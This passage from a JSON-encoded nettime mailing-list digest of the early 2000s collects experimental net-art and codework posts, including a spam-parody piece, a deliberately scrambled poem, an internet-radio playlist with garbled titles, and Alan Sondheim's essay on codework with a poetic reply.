CHROMATICSPACEANDWORLD.COM>\n\nSubject: iro    N      iqu-e\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n\nSubject: periodic note\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: [e-e]xpression\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n\nSubject: an artefact for interfiction IX (arteFaction! errors in/as media. Kassel, November 15th-17th, 2002)\n    From: mi_ga {AT} o-o.lt\n\nSubject: Two New Pieces\n    From: Daniel Young <danny {AT} miltonglaser.com>\n\nSubject: (no subject)\n    From: diocletian {AT} visi.com (Karl Petersen)\n\nSubject: R.Mutt and Jeff\n    From: Harrison Jeff <worksonpaper01 {AT} HOTMAIL.COM>\n\nSubject: Re:  found poetry:  \"MSNBC Health News\"\n    From: Karl Petersen <diocletian {AT} visi.com>\n\nSubject: sig [pro]phile\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost syndicate webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.12 2002/11/21 16:13:41 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 1 Dec 2002 19:18:33 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200212021905.gB2J56Y21008 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0212/msg00007.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 23"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00147",
                "content": "\nFrom: Peter von Brandenburg <blackhawk {AT} thing.net>\nSubject: *****SPAM***** Re: *****SPAM*****  *****SPAM***** \"SPAM MAPS #0001\"\nDate: Thu, 23 Jan 2003 18:46:24 -0500\n\nSPAM: -------------------- Start SpamAssassin results ----------------------\nSPAM: This mail is probably spam.  The original message has been altered\nSPAM: so you can recognise or block similar unwanted mail in future.\nSPAM: See http://spamassassin.org/tag/ for more details.\nSPAM: \nSPAM: Content analysis details:   (8.7 hits, 8 required)\nSPAM: Hit! (4.8 points)  BODY: Claims compliance with senate bill 1618\nSPAM: Hit! (1.5 points)  BODY: Claims \"This is not spam\"\nSPAM: Hit! (1.3 points)  BODY: I wonder how many emails they sent in error...\nSPAM: Hit! (0.6 points)  BODY: Uses words and phrases which indicate porn (12)\nSPAM: Hit! (0.4 points)  BODY: Claims to be legitimate email\nSPAM: Hit! (0.1 points)  BODY: Uses words and phrases which indicate porn (10)\nSPAM: \nSPAM: -------------------- End of SpamAssassin results ---------------------\n\nA+:  Hey, it worked!  best, -- B.\n\n\nAugust Highland wrote:\n\n> SPAM: ---- Start SpamAssassin results\n> SPAM: 10.5 hits, 7 required;\n> SPAM: *  1.8 -- 'Received:' contains huge hostname\n> SPAM: *  0.6 -- BODY: Uses words and phrases which indicate porn (12)\n> SPAM: *  1.5 -- BODY: Claims \"This is not spam\"\n> SPAM: *  0.4 -- BODY: Claims to be legitimate email\n> SPAM: *  4.8 -- BODY: Claims compliance with senate bill 1618\n> SPAM: *  1.3 -- BODY: I wonder how many emails they sent in error...\n> SPAM: *  0.5 -- BODY: A WHOLE LINE OF YELLING DETECTED\n> SPAM: *  0.6 -- BODY: 2 WHOLE LINES OF YELLING DETECTED\n> SPAM: * -1.5 -- BODY: 3 WHOLE LINES OF YELLING DETECTED\n> SPAM: *  0.5 -- Forged hotmail.com 'Received:' header found\n> SPAM:\n> SPAM: ---- End of SpamAssassin results\n>\n> SPAM: -------------------- Start SpamAssassin results ----------------------\n> SPAM: This mail is probably spam.  The original message has been altered\n> SPAM: so you can recognise or block similar unwanted mail in future.\n> SPAM: See http://spamassassin.org/tag/ for more details.\n> SPAM:\n> SPAM: Content analysis details:   (10.6 hits, 8 required)\n> SPAM: Hit! (0.6 points)  BODY: Uses words and phrases which indicate porn (12)\n> SPAM: Hit! (1.5 points)  BODY: Claims \"This is not spam\"\n> SPAM: Hit! (0.4 points)  BODY: Claims to be legitimate email\n> SPAM: Hit! (4.8 points)  BODY: Claims compliance with senate bill 1618\n> SPAM: Hit! (1.3 points)  BODY: I wonder how many emails they sent in error...\n> SPAM: Hit! (0.5 points)  BODY: A WHOLE LINE OF YELLING DETECTED\n> SPAM: Hit! (0.6 points)  BODY: 2 WHOLE LINES OF YELLING DETECTED\n> SPAM: Hit! (-1.5 points) BODY: 3 WHOLE LINES OF YELLING DETECTED\n> SPAM: Hit! (0.5 points)  Forged hotmail.com 'Received:' header found\n> SPAM: Hit! (1.9 points)  Subject is all capitals\n> SPAM:\n> SPAM: -------------------- End of SpamAssassin results ---------------------\n>\n> \"SPAM MAPS #0001\"\n>\n> CREAMY FACIALS\n>\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n> FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY FACIALSCREAMY\n>\n> DO YOU GET OFF WHEN A NAUGHTY\n>\n> NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY\n> NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY\n> NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY\n> NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY\n> NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY\n> NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY\n> NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY\n> NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY\n> NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY\n> NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY\n> NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY\n> NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY\n> NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY\n> NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY\n> NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY\n> NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY NAUGHTY\n>\n> 10.000 LIVE Girls\n>\n> 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000\n> 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000\n> 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000\n> 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000\n> 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000\n> 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000\n> 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000\n> 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000\n> 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000\n> 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000\n> 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000\n> 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000\n> 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000\n> 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000\n> 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000\n> 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000\n> 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000\n> 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000 10.000\n>\n> This is NOT SPAM -\n>\n>  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -\n> -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -\n> -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -\n> -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -\n> -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -\n> -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -\n> -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -\n> -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -\n> -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -\n> -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -\n> -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -\n> -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -\n>\n> We comply with all proposed and current laws on commercial e-mail under:\n>\n> Bill s. 1618 TITLE III passed by the 105th Congress\n>\n> Congress Congress Congress Congress Congress Congress Congress\n> Congress Congress Congress Congress Congress Congress Congress\n> Congress Congress Congress Congress Congress Congress Congress\n> Congress Congress Congress Congress Congress Congress Congress\n> Congress Congress Congress Congress Congress Congress Congress\n> Congress Congress Congress Congress Congress Congress Congress\n> Congress Congress Congress Congress Congress Congress Congress\n> Congress Congress Congress Congress Congress Congress Congress\n> Congress Congress Congress Congress Congress Congress Congress\n> Congress Congress Congress Congress Congress Congress Congress\n> Congress Congress Congress Congress Congress Congress Congress\n> Congress Congress Congress Congress Congress Congress Congress\n> Congress Congress Congress Congress Congress Congress Congress\n> Congress Congress Congress Congress Congress Congress Congress\n> Congress Congress Congress Congress Congress Congress Congress\n> Congress Congress Congress Congress Congress Congress Congress\n> Congress Congress Congress Congress Congress Congress Congress\n> Congress Congress Congress Congress Congress Congress Congress\n> Congress Congress Congress Congress Congress Congress Congress\n>\n> If you have received this e-mail in error, we apologize for the\n> inconvenience\n>\n> and ask that you remove yourself\n>\n> august highland\n> 12:54 am\n> 01-23-03\n>\n> ---\n> Outgoing mail is certified Virus Free.\n> Checked by AVG anti-virus system (http://www.grisoft.com).\n> Version: 6.0.445 / Virus Database: 250 - Release Date: 1/22/2003\n\n\n\nFrom: mez <netwurker {AT} hotkey.net.au>\nSubject: [+W]itch no[Drama.+t]ize\nDate: Sun, 19 Jan 2003 12:30:30 +1100\n\n\n20030119\n\n- Fix][ati.on][ed b[roken drea.m]ug.\n- Cor.r.e][je][cted a r.air problem n.count[backwards from -10]ered in \nolde.versions, in witch\na drama.break b4 a melo.drenching [b]cause.d problems.\n- Pix.el[l]ated the ][Gol[gotha]][.Den (ser)Ratio[n].\n- ph[D]ixed s.sues with '-wd ('--witchdrama') where all.lives. \n.were.  dubble.spaced.\n\n\n\n. . .... .....\npro][tean][.lapsing.txt\n.\n.\n\nhttp://www.hotkey.net.au/~netwurker/\n.i.dream.the.n e X ][t][ us.\n\n.... . .??? .......\n\n\n\n\nFrom: mez <netwurker {AT} hotkey.net.au>\nSubject: Itch Noize\nDate: Sun, 19 Jan 2003 12:38:33 +1100\n\n\n2003/01/19\n\n- Fixed bug.\n- Corrected a rare problem encountered in old versions, in which a drama \nbreak before a melodrenching caused problems.\n- Pixellated the Golden Ratio.\n- Fixed issues with '-wd ('--witchdrama') where all lives were double spaced.\n\n\n\n. . .... .....\npro][tean][.lapsing.txt\n.\n.\n\nhttp://www.hotkey.net.au/~netwurker/\n.i.dream.the.n e X ][t][ us.\n\n.... . .??? .......\n\n\n\n\nFrom: mez <netwurker {AT} hotkey.net.au>\nSubject: [irc additional] +Witch noDrama.+tize\nDate: Sun, 19 Jan 2003 12:49:31 +1100\n\n\n19-01-2002\n\n- BugFixation||broken dream||mug\n- CoreRejected||r.AIR problem||N.count[backwards from \n-10]||WitchDramaBreak||MeloDrench\n- PixElatedGolgotha||DenSerration\n- Phixed -wdIssue\n\n\n\n                                all.lives. .r.  dubble.spaced.\n\n\n\n\n\n. . .... .....\npro][tean][.lapsing.txt\n.\n.\n\nhttp://www.hotkey.net.au/~netwurker/\n.i.dream.the.n e X ][t][ us.\n\n.... . .??? .......\n\n\n\n\nDate: Sun, 19 Jan 2003 23:36:57 -0800\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: After Trakl (1 cycle)\n\nD>I>E>>H>E>I>M>K>E>H>R\n\n\nDistereis Godalamewofngerraun=E4chopfhees!\n\nDunuta=DFt Ge,\nRintebrue\nG!\n\nScheschon ime Hofngeirbe aug,\nGr Klolkr Ffen\nUffr un,\nAn Kligro!\nOfngeie d zechl, dhle,\nDndhtarerbge,\nBins Alndun Lt g\nDs T erie Jah Gest!\nOr Schoffie,\nTasabletinklergodwabllenurnstrterene\nBeg\nM, vopins Hen\nUn Ham Aubescheridolasahmenem! de iglerertenldenhaueneichndme\n\n\n\n\nFrom: \"c-k-h-r-o-m-a-s-c-h-i-n-e-s\" <c-k-h-r-o-m-a-c-h-i-n-e {AT} chromaticspaceandworld.com>\nSubject: UND::3-i./?  notand\nDate: Mon, 20 Jan 2003 15:50:45 -0500\n\n--e     991       \n\n\n  11 ..BOUND.D       \n     cp{ch_cld  372      \n        ing           \n        \n        \n  f ing------>\n 2542\n\n\nismanual\n\n\n     was3e,       \n   #\"my         ,ORY, madeq(wjam   \n\n\n\n           'A./yellowwarsMage\"twarsgreen5./-aagreen31\u007f2 \n   greenc\n           \ncuttingunDmore,etion   kkrutD      \n    SEVEN-this134631       make\n\n\n>****the     the6-|      |-rv      thefusion    **rauM \n\n}',NEON          ther      \n  black     world   |o-a|      \n  \n        set        \n\n\n.\n\n\n\n\n\n\n\n\n\nDate:         Tue, 21 Jan 2003 09:30:50 -0500\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: wrecked poem\n\nwrecked poem\n\n\nfollstupid creative non-fiction\nwriterwing the cstupid creative\nnon-fiction writerjoy divisions\n\nsuicidal tendenciesntries\nof cstupid creative non-fiction\nwritermpliments\nthe seasstupid creative non-fiction\nwritern. gracstupid\nwriter and peace lstupid\ncreative non-fiction writervstupid\nwriter\nfrom\nthis\natlantic part.\ni hopstupid\nwriter to\nmy you.\ndoes lettstupid\nwriterr\nnot cajoy divisions suicidal\ntendenciesse yojoy\ndivisions suicidal tendencies tostupid\ncreative non-fiction writer much\nembarrassment\nas in wrwrecked creative\nnon-fictionte\nbased on gstupid\ncreative non-fiction writerod fwrecked\npoemwrecked creative\nnon-fictionth by given frwrecked\ncreative non-fictionend who\nworks at ystupid creative\nnon-fiction writerjoy\ndivisions suicidal tendenciesr cojoy\ndivisions suicidal tendenciesntry.\nplease excjoy divisions\nsuicidal tendenciesse\nintruswrecked\ncreative non-fictionon wrecked creative\nnon-fictionnto prwrecked creative\nnon-fictionvate\nlife.\nam barrister\nahmed colstupid\nwriter, reprstupid\nwritersent mohwrecked\npoemmmed\nson\nsani late.\nwas former\nstate milwrecked\ncreative non-fictiontary\ndied swrecked creative\nnon-fictionnce 1998.\nhis death, hwrecked\npoems family\nare\ndealing bent\nfamily. wwrecked creative\nnon-fictionth\nthereforstupid\nwriter,\nseek asked\nfor,\ncan forewrecked\ncreative non-fictiongn\nwork partner,\nus mstupid creative non-fiction\nwriterve ojoy divisions\nsuicidal tendenciest\npossesswrecked creative\nnon-fictionon. cstupid creative\nnon-fiction writerjoy divisions\nsuicidal tendenciesrse,\nkept secretly nstupid creative\nnon-fiction writerw.\nsoon\nother\nfollow\ncojoy divisions suicidal\ntendenciesntrwrecked creative\nnon-fictiones\nwould\ndo same.\nentertain\nfears,as\nplace,\nour trjoy\ndivisions suicidal tendenciesst\nexposwrecked creative\nnon-fictionng.\n\n\n===\n\n\n\n\nFrom: =?windows-1252?Q?Bj=F8rn=20Magnhild=F8en?= <magh {AT} chello.no>\nDate: Mon, 20 Jan 2003 19:34:02 +0100\nSubject: radio.m3u\n\n\n------------=_1043087660-642-868\nX-MIME-Autoconverted: from 8bit to quoted-printable by anart.no id h0KIYLv30336\n\n#EXTM3U\n#EXTINF:-1,!\"#\"!!&&&& so thAlthough you sit in a room that is gray,en i &=\n&&&6{{{}[90089]}\nh****DRG\nhttp://64.236.34.141:80/stream/1008\n#EXTINF:-1,sadf 345oil3Except for the silver45 li4kh5 35#=A4%#=A4% #=A4%=A4=\n# #=A4% #=A4%#=A4 %#=A4%#=A4%#=A4%#\n=A4P&OI 4opi3u 6po5i6u 5p3oi6u\nhttp://205.188.245.133:8078\n#EXTINF:-1,/]/()){[]/(9{){)/8]/()/(9/()){[)/()(/978..;_:;_:,:_,:_,:_,.;_.=\n;:_,:_,:_;:_;.;_.;:\n_,:_,:_,:_,:_\nhttp://205.188.209.193:80/stream/1006\n#EXTINF:-1, {AT} =A34 {AT} =A34 {AT} =A34 {AT} =A3423$23$ {AT} =A34=A8Or, with one finger,  {AT} =A3$2=A3=\n$23$ {AT} =A34 {AT} =A34^\"#=A4 \"#4=A8\"23=A4^ {AT}  {AT} =A3=A4^32^\"#\n2#=A4^ {AT} =A3^=A4______________\nhttp://64.1.235.140:8005\n#EXTINF:-1,ER Move the leaf in the bowl-- HER her/////////\t/\t/\t/\t/\t`\n\t/\t/\t/\t/\t/\t/\t/\t////```77\t\t////////\\\\\nhttp://66.56.69.34:8000\n#EXTINF:-1,& 6% %&56 =80=80Y e5&Y %E6y  e--------Beside you....45-.45-45$=\n=80.-$=80$=804.5$.4-4$$$4 $44-\n45kia]\nhttp://147.175.61.55:8000/\n#EXTINF:-1,#What is all this?#########=A3#3 {{{{/&{=3D=3D=3D=3D=3D=3D=3D=3D=\n=3D#=A4% 345 #=A4% #=A4% #=A4% #=A4% #=A4%#34 534=20\n534)\nhttp://207.152.135.11:8000\n#EXTINF:-1,=A4%#=A4#=A4%#=A4 34534 5345345 3453howfuriouslyyrheartisbeati=\nngjhljk5 hlkj hlk3j5h lkj=20\nhlk3j5 h\nhttp://132.249.130.50:7000\n\n\n\n\n\n\n------------=_1043087660-642-868\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1043087660-642-868--\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nSubject: short article on codework -\nDate: Thu, 23 Jan 2003 17:38:05 -0500 (EST)\n\n\n\n(for rhizomes magazine - not connected with rhizome.org)\n\n\n\nCodeworld                                            */alansondheim/*\n\n\n12:55pm  up 2 min,  1 user,  load average: 0.31, 0.19, 0.07\nUSER     TTY      FROM              LOGIN {AT}    IDLE   JCPU   PCPU  WHAT\nroot     tty1     -                12:54pm  0.00s  0.46s  0.05s  w\n\nDie Welt ist alles, was der Fall ist.\nOgden:\nThe world is everything that is the case.\nPears/McGuinness:\nThe world is all that is the case.\nDie Welt ist die Gesamtheit der Tatsachen, nicht der Dinge.\nPears/McGuinness:\nThe world is the totality of facts, not of things.\nOgden:\nThe world is the totality of facts, not of things.\n...\nDie Tatsachen im logischen Raum sind die Welt.\nDie Welt zerfallt in Tatsachen.\nOgden:\nThe facts in logical space are the world.\nThe world divides into facts.\n...\nWovon man nicht sprechen kann, daruber muss man schweigen.\nOgden:\nWhereof one cannot speak, thereof one must be silent.\nPears/McGuinness:\nWhat we cannot speak about we must pass over in silence.\n(From beginning and end of Wittgenstein, Tractatus Logico-Philosophicus,\nOgden translation 1922, Pears/McGuinness translation 1961.)\n\nTLP describes a Dostoevskian crystalline world divisible into facts. The\nGerman is clear; the motto to the book, by Kurnberger states, in trans-\nlation: ...and whatever a man knows, whatever is not mere rumbling, and\nroaring that he has heard, can be said in three words.\n\nTLP portends ideality. The world is logical, mathematical, capable of\nclear division. Logical space is the space, I would assume, of the natural\nnumbers, if not the integers; as Russell says in his introduction, TLP\npresents, inscribes, a finite mathematics - there's no room for the\ncontinuum, and proof of the continuum hypothesis was far in the future.\n\nThe translations are different, almost never radically so, but different\nnonetheless. There is a residue in German such that both English versions\nconverge, but often never meet. The sememes are equivalent, but only to a\ndegree; translations are almost never one-to-one.\n\nIn this logical space of facts, programming, and protocols, there is\nalways a wavering, always room, always doubt, critique, and I would say\ndesire as well. Never mind that this wor(l)d breaks down, evidenced a few\ndecades later by Godel, Tarski, Skolem, etc.: Coherency, living within the\nsafety-net of mathesis, matrix, maternality, remains a dream of humanity.\nDNA coding, cryptography, hacking the world - all appear to guarantee that\neverything is possible.\n\nComputer languages are logical; computers are presumed so, but aren't;\nprotocols are logical as well; logical spaces may be compared to\ndrive-space; garbage-in, garbage-out; and so forth. Hacking depends on a\nclosed world with closed loopholes; the loopholes themselves are coherent,\nlogical, _there._\n\nCodework, code writing, rides within and throughout the logical world, as\na disturbance, a sign of things to come, both extension and breakdown.\n\nWhere does the content lie? Is it in the translation of code into\nmessiness or residue? Is it in the interpretation of residue? Or perhaps,\nand herewith a criticism, is it in the wonderment, confusion, and novelty\nof the residue itself?\n\nIs codework a minor art, minor literature? What is the point of repeatedly\nshaking the scaffolding - if not the emergence, in the future, of an other\nor another approach, or an other, being or organism, for which codework\nnow both provides augury and its weakness as portal/welcoming? For what is\ncome among us already no longer speaks the world of logical facts, just as\ncomputers are no longer large-scale calculators, but something else as\nwell, something unnamed, fearful - that fearfulness already documented by,\nsay, Cruikshank in the 19th century.\n\n2:20pm  up 1 min,  1 user,  load average: 0.33, 0.18, 0.06\nUSER     TTY      FROM              LOGIN {AT}    IDLE   JCPU   PCPU  WHAT\nroot     tty1     -                 2:19pm  0.00s  0.42s  0.05s  w\n\nCodework references the alterity of a substrate which supports, generates,\nand behaves as a catalyst in relation to its production. To this extent,\ncodework is self-referential, but no text is completely self-referential\n(sr); things waver. So for example 'ten letters' and 'two words' and\n'english' may be considered sr - but only to the extent that the phrases\nare presumed to apply to themselves. Extended: 'This sentence has\nthirty-one letters.' - 'This sentence has five words.' - 'This is an\nenglish sen- tence.'\n\nWhat is the residue? What are the sentences 'about'? On the surface,\nletters, words, language. This is an additional or diacritical relation-\nship to sr; if one, for example, didn't know english, none of these would\nmake sense.\n\nAll sr possesses a residue - an _attribute tag._ In codework, which has a\ncomponent of sr, the tag may be plural, muddied - the world is never\npresumed complete, total. Codework is not an instance in this regard of\nmathematical platonism or Godelian-platonism; if anything it relies on the\nbreakdown of the ideal, pointing out the meaning-component of computation,\nprogram, protocol, even the strictest formalisms.\n\nEarly on Whitehead pointed out that 2+2 = 4, but only in a certain formal\nsense; in fact, the equation implies an operation or unifying process;\nwithin the 4, the components are combined, their history lost. Strictly,\n'2+2' and '4' are equivalent; within the symbolic, they differ - for that\nmatter, in terms of thermodynamics as well. This domain is expanded by\ncodework, which endlessly interferes.\n\nThe danger of codework is in its delimitation; it tends to repeat; the\nworks tend towards considerable length; automatic generation can flow\nforever. Sometimes it appears as maw-machine emissions - text in, modified\ntext/partial code out. Sometimes it extends language into new uncharted\nterritories. Sometimes it references the labor and/or processing of\nlanguage. Sometimes it privileges the written over the spoken, or portends\nthe spoken within a convolution of stuttering and close-to-impossible\nphonemic combinations. Sometimes it appears as a warning against the all-\ntoo-easy assimilation of linguistic competency.\n\nSometimes it breaks free, relates to the subjectivity behind its produc-\ntion, the subjectivity inherent in every presentation of symbol-symbolic.\n\n2:37pm  up 18 min,  1 user,  load average: 0.00, 0.00, 0.00\nUSER     TTY      FROM              LOGIN {AT}    IDLE   JCPU   PCPU  WHAT\nroot     tty1     -                 2:19pm  0.00s  0.44s  0.06s  w\n\n\n===\n\n\nDate:         Thu, 23 Jan 2003 15:26:30 -0800\nFrom: lanny quarles <solipsis {AT} HEVANET.COM>\nSubject: Re: short article on codework -\n\nWEX:I tell myself in ignorance: (i am on the bus. on the line. i am\nfollowing this line, too. The Street-signs are in hieroglyphics. I am\nprocessing the rules. following the map. I got here.)\n\nWEX:Codework represents the symbolic as the manifold sine qua non of\nexchange between domains, an exemplus in concrete by pointers,\n\nWEX:domain after domain submerged in a nexus of interfeeding objects, the\nmanifold of the symbolic with all its wards of hermeneutical exegesis..\ncodework the site of explicit terms,\nthe explicit site where the (a) symbolic returns to us with its protocols\nvisible. \"fact-in-squence+See-through words. See-through Histories,\nSee-through Phenomenologies. Codework is a telescopic by which the falsities\nof political aggregates are exploded, and generated, rhetoric gets pixelated\nthen filtered, stochastic remainders are called 'meaning' but behave as\n'food'\n\nWEX:Hazard:\n\nWEX:a rushing river of faces, numbers running over into mechanical gestures\n\nWEX:Von Neuman and Boole, the strings assembling in the human coral.\n\nWEX:BrainCoral {AT} materialculture.(C)elf-org\n\nWEX:I tell (myself) as Alan:\n\nWEX:My Computer is made of Sticks, the PCB's are hand-woven and stiffened\nmicromats smeared with resin.. the bus-lines are emblems of sap, tiny skulls\npacked with subterranean moss are the IC's.. Instead of electricity in the\nraw, various species of insects propagate along the sap emblems, they pass\nchemical data along between their bodies, processing in the tiny\nbird-skulls, a chain of ants like a woven rope stings me along my spine\npassing the processed chemicals directly into my nervous system..\n\nWEX:appearing in my hand after ingestion, after encoding, system theory\nsubmerged in a system of network routers, human minds, various languages,\ntranslation errors becoming encampments of difference, the transsubjective\nlubricant follows tradition, codework interrupts all tradtitions by\ndigitization, traditions live on as doppelgangers of themselves, new\nmachines carrying out the old instructions, tradition like a blind AI ghost\nrecounting its memory through human storage units.\n\nWEX:facts are displacements and leave echos everywhere, everywhere a\nconstant echoing of everything, clusters of filter assemblies create\nautonomous spontaneous search algorhythms.\n\nWEX:codeworlds reveal the monstrosity of the subjective logical\nlogic is structure set free from ideation as discussion\nlogic like a woody stalk is an armoring.. the skeleton takes up its skin to\ndance\n\nWEX:like the machine of consciousness looks into the face of its\nexternalized method,\nseeing a puppet whose hand is slowly being absorbed..\n\nWEX:Environ: skin-puppets processing the earth processing the skin puppets..\n\nWEX:Everystring an inteference of the multiple, and hence a node of\nmultiplicity enacted as a discrete unity, the strobing of the monitor\nthe valences of the electrons, the constant iteration of the physical\nhologram,\nthe lyric real beyond description, the banalization of the real a fascist\nprogramming flaw\nby those who mistake the knowledge facts for power.. the method more lovely\nthan the subject,\nthe mirrors all blackened. WEX: the dancing of the meaning now only found\namong the bees.\n\nWEX:word/topos/new-unit sum+earthcrash\n\n\n\n\nWEX:r(h)e/as/s[embl]em)ing self.txt\n\nWEX:resolution at delta/X (unknown filter protocol)\n\n\n\n\nDate:         Fri, 24 Jan 2003 12:22:50 -0500\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: 